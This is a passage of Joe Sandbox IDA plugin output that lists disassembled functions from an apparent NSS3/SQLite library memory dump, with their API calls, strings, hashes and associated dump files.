Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: fe397c8265e30a4469baafcf9fae4670aac68fa53fc9398eb3936892bd7df468
Instruction ID: 5e2c38b9b99fcc8d319b9dcbf6573a12f9667f1fe011525f81594e0766778d72
Opcode Fuzzy Hash: fe397c8265e30a4469baafcf9fae4670aac68fa53fc9398eb3936892bd7df468
Instruction Fuzzy Hash: 3B01D2B6900254BBDF01AFA4EC45CAB3F3DEF4A7A4F014024FD0A97711D676E96087A2

Function 6CB64D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB64DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB64DE0

Strings

invalid, xrefs: 6CB64DB8
misuse, xrefs: 6CB64DD5
%s at line %d of [%.10s], xrefs: 6CB64DDA
API call with %s database connection pointer, xrefs: 6CB64DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB64DCB

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: c1797e4154285c04c24db9288b04c85e2158e8619e8147000b9a9818d54af218
Instruction ID: 0a2a62aaf0670fd65ed8a54086544df78be51e0d2a6e72249050b007700106bd
Opcode Fuzzy Hash: c1797e4154285c04c24db9288b04c85e2158e8619e8147000b9a9818d54af218
Instruction Fuzzy Hash: 63F0B419F14DF96BD6008126DE31F8637598F01369F5609A1EE047BE62D606AC9886C3

Function 6CB64DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB64E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB64E4D

Strings

invalid, xrefs: 6CB64E25
misuse, xrefs: 6CB64E42
%s at line %d of [%.10s], xrefs: 6CB64E47
API call with %s database connection pointer, xrefs: 6CB64E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB64E38

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 28787f1ce3a0c8afc38f54aeb8ef05c0a9acf7d01176ddad56e6fdbf7b9798e4
Instruction ID: f42d32b3d6d885efa2d07d8d946620855c4eb1b40715b25f558a5db408837ef4
Opcode Fuzzy Hash: 28787f1ce3a0c8afc38f54aeb8ef05c0a9acf7d01176ddad56e6fdbf7b9798e4
Instruction Fuzzy Hash: A6F02719F44DE82BEA148026DD31FC73789CB03379F5985A1EA0877F92D309986146D3

Function 6CA99FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA9A086
EnterCriticalSection.KERNEL32(?), ref: 6CA9A09B
PR_Unlock.NSS3(?), ref: 6CA9A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA9A0E9
TlsGetValue.KERNEL32 ref: 6CA9A11B
EnterCriticalSection.KERNEL32(?), ref: 6CA9A12F
PR_Unlock.NSS3(?), ref: 6CA9A148

Part of subcall function 6CAB1A40: PR_Now.NSS3(?,00000000,6CA928AD,00000000,?,6CAAF09A,00000000,6CA928AD,6CA993B0,?,6CA993B0,6CA928AD,00000000,?,00000000), ref: 6CAB1A65

Part of subcall function 6CAB1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CAB4126,?), ref: 6CAB1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA9A1A3

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 55640c0ca8e047276602951b357cdaefe8a48a960200369bec9701f2bfe24c88
Instruction ID: dee08eb575aaab6cc6f57e32f65137a03c11356fa861d5418cc3ef1130c5d930
Opcode Fuzzy Hash: 55640c0ca8e047276602951b357cdaefe8a48a960200369bec9701f2bfe24c88
Instruction Fuzzy Hash: 6D5108B5E006009BEB109F79DD45AAB77FAAF85348B18402ADC2997701EB31DCC9C791

Function 6CAD0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CAD1444,?,00000001,?,00000000,00000000,?,?,6CAD1444,?,?,00000000,?,?), ref: 6CAD0CB3

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?,?,6CAD1444,?), ref: 6CAD0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?,?,6CAD1444,?), ref: 6CAD0DEC

Part of subcall function 6CAF0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CA92AF5,?,?,?,?,?,6CA90A1B,00000000), ref: 6CAF0F1A
Part of subcall function 6CAF0F10: malloc.MOZGLUE(00000001), ref: 6CAF0F30
Part of subcall function 6CAF0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CAF0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?), ref: 6CAD0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CAD1444,?,00000001,?,00000000), ref: 6CAD0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?), ref: 6CAD0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?,?,6CAD1444,?,?,00000000), ref: 6CAD0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?), ref: 6CAD0E79

Part of subcall function 6CAE1560: TlsGetValue.KERNEL32(00000000,?,6CAB0844,?), ref: 6CAE157A
Part of subcall function 6CAE1560: EnterCriticalSection.KERNEL32(?,?,?,6CAB0844,?), ref: 6CAE158F
Part of subcall function 6CAE1560: PR_Unlock.NSS3(?,?,?,?,6CAB0844,?), ref: 6CAE15B2

Part of subcall function 6CAAB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CAB1397,00000000,?,6CAACF93,5B5F5EC0,00000000,?,6CAB1397,?), ref: 6CAAB1CB
Part of subcall function 6CAAB1A0: free.MOZGLUE(5B5F5EC0,?,6CAACF93,5B5F5EC0,00000000,?,6CAB1397,?), ref: 6CAAB1D2

Part of subcall function 6CAA89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CAA88AE,-00000008), ref: 6CAA8A04
Part of subcall function 6CAA89E0: EnterCriticalSection.KERNEL32(?), ref: 6CAA8A15
Part of subcall function 6CAA89E0: memset.VCRUNTIME140(6CAA88AE,00000000,00000132), ref: 6CAA8A27
Part of subcall function 6CAA89E0: PR_Unlock.NSS3(?), ref: 6CAA8A35

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: b1f5fa664e7110db5a581be720cfad8cd354818790847977b16871ef514823ea
Instruction ID: 92fcc65920fea06603fa6e8529390556ab6dcefaeeee9e7f15494e84ba0a53be
Opcode Fuzzy Hash: b1f5fa664e7110db5a581be720cfad8cd354818790847977b16871ef514823ea
Instruction Fuzzy Hash: 3D51E6B5D002515FEB009F64DD81ABF37B8EF49218F190425ED19A7702FB31FD9986A2

Function 6CA86E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CA86ED8
sqlite3_value_text.NSS3(?,?), ref: 6CA86EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CA86FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CA86FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CA86FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CA87010
sqlite3_value_blob.NSS3(?,?), ref: 6CA8701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CA87052

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: fae929a5f8ed132efde49ff14aba014100aaa79fbbf29479baf829016fa64c8a
Instruction ID: a514dde2875f4fd99390ca8ccb1a471161a176ae8df5f3a41889baf9cef02c73
Opcode Fuzzy Hash: fae929a5f8ed132efde49ff14aba014100aaa79fbbf29479baf829016fa64c8a
Instruction Fuzzy Hash: CE6109B1E262558FEB01CFA4D9007EEB7B2AF45308F284165D415EBB51E732DC59CB90

Function 6CAF8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CAF7313), ref: 6CAF8FBB

Part of subcall function 6CAF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA98298,?,?,?,6CA8FCE5,?), ref: 6CAF07BF
Part of subcall function 6CAF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAF07E6
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF081B
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF90F1

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF906B

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CAF7313), ref: 6CAF9128

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 6e5bfb5266ddd19eb6055ba384fa5031f80c41b1efdd85ecda1346818cb4e8c1
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: C151C671A002018FEB508F7ADE44B26B3F9AF44358F194025F935D7751EB32E886CB91

Function 6CAA9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CAA8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CAB0715), ref: 6CAA8859
Part of subcall function 6CAA8850: PR_NewLock.NSS3 ref: 6CAA8874
Part of subcall function 6CAA8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CAA888D

PR_NewLock.NSS3 ref: 6CAA9CAD

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

TlsGetValue.KERNEL32 ref: 6CAA9CE8
EnterCriticalSection.KERNEL32(?,?,6CAAECEC,6CAB2FCD,00000000,?,6CAB2FCD,?), ref: 6CAA9D01
TlsGetValue.KERNEL32(?,?,?,6CAAECEC,6CAB2FCD,00000000,?,6CAB2FCD,?), ref: 6CAA9D38
EnterCriticalSection.KERNEL32(?,?,6CAAECEC,6CAB2FCD,00000000,?,6CAB2FCD,?), ref: 6CAA9D4D
PR_Unlock.NSS3 ref: 6CAA9D70
PR_Unlock.NSS3 ref: 6CAA9DC3
PR_NewLock.NSS3 ref: 6CAA9DDD

Part of subcall function 6CAA88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CAB0725,00000000,00000058), ref: 6CAA8906
Part of subcall function 6CAA88D0: EnterCriticalSection.KERNEL32(?), ref: 6CAA891A
Part of subcall function 6CAA88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CAA894A
Part of subcall function 6CAA88D0: calloc.MOZGLUE(00000001,6CAB072D,00000000,00000000,00000000,?,6CAB0725,00000000,00000058), ref: 6CAA8959
Part of subcall function 6CAA88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CAA8993
Part of subcall function 6CAA88D0: PR_Unlock.NSS3(?), ref: 6CAA89AF

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: b6730cfc66ecf032d8666e2390665afb21c354be0a8519139efa385734bf346b
Instruction ID: 93324b1bc2f0c4e56e549765444cb1a05e66199158073a7af010ae3ec3e3ac3b
Opcode Fuzzy Hash: b6730cfc66ecf032d8666e2390665afb21c354be0a8519139efa385734bf346b
Instruction Fuzzy Hash: 0A5154B4A057059FDB00EFB8C2846AEBBF0BF44345F158929D8989BB10DB31E8C5CB91

Function 6CBA9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CBA9EC0
EnterCriticalSection.KERNEL32(?), ref: 6CBA9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CBA9F73
EnterCriticalSection.KERNEL32(?), ref: 6CBA9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CBA9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CBA9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAA01D

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 84cb81a2873eaeb2eddab82b5084d6d99ed01f68a9c9983203d083d09c3f81f0
Instruction ID: 6c93ddfd536eba48371fcd03dbfe5fc94b42a5a68a4f946753a7b6e582766f30
Opcode Fuzzy Hash: 84cb81a2873eaeb2eddab82b5084d6d99ed01f68a9c9983203d083d09c3f81f0
Instruction Fuzzy Hash: 7751B2B2C04640DBCB209F65D48468AB7F4FF08319F15856AD89957B12E732F89ACFD2

Function 6CAB4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAB4E90
EnterCriticalSection.KERNEL32 ref: 6CAB4EA9
TlsGetValue.KERNEL32 ref: 6CAB4EC6
EnterCriticalSection.KERNEL32 ref: 6CAB4EDF
PL_HashTableLookup.NSS3 ref: 6CAB4EF8
PR_Unlock.NSS3 ref: 6CAB4F05
PR_Now.NSS3 ref: 6CAB4F13
PR_Unlock.NSS3 ref: 6CAB4F3A

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: e853463d7bda44a025093e79764bf57ed61911ab3c2030002cfcc5d30fc6ed11
Instruction ID: bf4feab14e6f33ad66b25ad9311ce3fb13e735962fa64a080262d4937c5e0341
Opcode Fuzzy Hash: e853463d7bda44a025093e79764bf57ed61911ab3c2030002cfcc5d30fc6ed11
Instruction Fuzzy Hash: 014159B4A006059FCB00EF78D0848AEBBF4FF49754B058669EC999B710EB30E895CF91

Function 6CA9DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CA9DCFA

Part of subcall function 6CB59DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DC6
Part of subcall function 6CB59DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DD1
Part of subcall function 6CB59DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB59DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA9DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CA9DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CA9DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CA9DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CA9DD8F

Part of subcall function 6CAB06A0: TlsGetValue.KERNEL32 ref: 6CAB06C2
Part of subcall function 6CAB06A0: EnterCriticalSection.KERNEL32(?), ref: 6CAB06D6
Part of subcall function 6CAB06A0: PR_Unlock.NSS3 ref: 6CAB06EB

CERT_DestroyCertificate.NSS3(?), ref: 6CA9DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CA9DDB7

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
